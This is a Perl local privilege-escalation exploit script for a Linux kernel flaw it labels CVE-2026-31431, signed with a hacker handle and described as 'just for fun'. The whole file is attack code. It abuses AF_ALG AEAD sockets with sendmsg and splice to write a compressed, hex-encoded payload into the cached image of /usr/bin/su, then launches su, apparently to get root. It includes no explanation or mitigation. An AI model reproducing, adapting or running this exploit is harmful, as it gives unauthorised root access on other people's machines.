#!/usr/bin/perl
# isra -- fastmail.net // hacking is life
# tested on debian 13 x86_64 - no warranties, just for fun
# based on copy_fail_exp.py (CVE-2026-31431)

use strict;
use Compress::Zlib;

use constant { 
	SYS_close => 3, SYS_recvfrom => 45, SYS_sendmsg => 46, 
	SYS_setsockopt => 54, SYS_splice => 275, SYS_accept4 => 288,
	SYS_pipe2 => 293, AF_ALG => 38, SOL_ALG => 279, MSG_MORE => 0x8000,
	SOCK_CLOEXEC => 0x80000
};

my $data; 
$data  = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209";
$data .= "a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e";
$data .= "56c3ff593611fcacfa499979fac5190c0c0c0032c310d3";

sub cf {
	my ($fh, $cnt, $subdata) = @_;

	my $optval = pack("H*", "0800010000000010") . ("\0" x 64);
	my ($type, $name) = ("aead", "authencesn(hmac(sha256),cbc(aes))");
	my $sock_alg = pack("S a14 L L a64", AF_ALG, $type, 0, 0, $name);

	socket(my $sock, AF_ALG, 5, 0);
	bind($sock, $sock_alg);	
	setsockopt($sock, SOL_ALG, 1, $optval);
	syscall(SYS_setsockopt, fileno($sock), SOL_ALG, 5, 0, 4);
	
	my $asock = syscall(SYS_accept4, fileno($sock), 0, 0, SOCK_CLOEXEC);
	syscall(SYS_close, fileno($sock));
	
	my $msg_iov = pack("p Q","AAAA$subdata\x00", 8);
	my $msg_control = pack(
		"Q i! i!  L  x4"  . " Q i! i!  L x16  x4" . " Q i! i!  L  x4",
		20, SOL_ALG, 0x3, 0, 36, SOL_ALG, 0x2, 0x10, 20, SOL_ALG, 0x4, 0x08,
	);
	my $msghdr = pack(
		"Q Q p Q P88 Q l x![Q]", 
		0, 0, $msg_iov, 1, $msg_control, 88, 0
	);
	syscall(SYS_sendmsg, $asock, $msghdr, MSG_MORE);

	my $pipe_fds = pack("ll", 0, 0);
	syscall(SYS_pipe2, $pipe_fds, 0);
	my ($r, $w) = unpack("ll", $pipe_fds);

	my $len = $cnt + 4;
	my $off = pack("q", 0);
	syscall(SYS_splice, fileno($fh), $off, $w, 0, $len, 0);
	syscall(SYS_splice, $r, 0, $asock, 0, $len, 0);

	my $rlen = $cnt + 8;
	my $rbuf = "\0" x $rlen;
	syscall(
		SYS_recvfrom, $asock, $rbuf, $rlen, 0, 0, 0,
	);
	
	syscall(SYS_close, $asock); 
}

open my $fh, "<", "/usr/bin/su";

my $i = 0;
my $un_data = uncompress(pack('H*', $data));
while($i < length($un_data)){
	cf($fh, $i, substr($un_data, $i, $i + 4));
	$i = $i + 4;
}
system("su");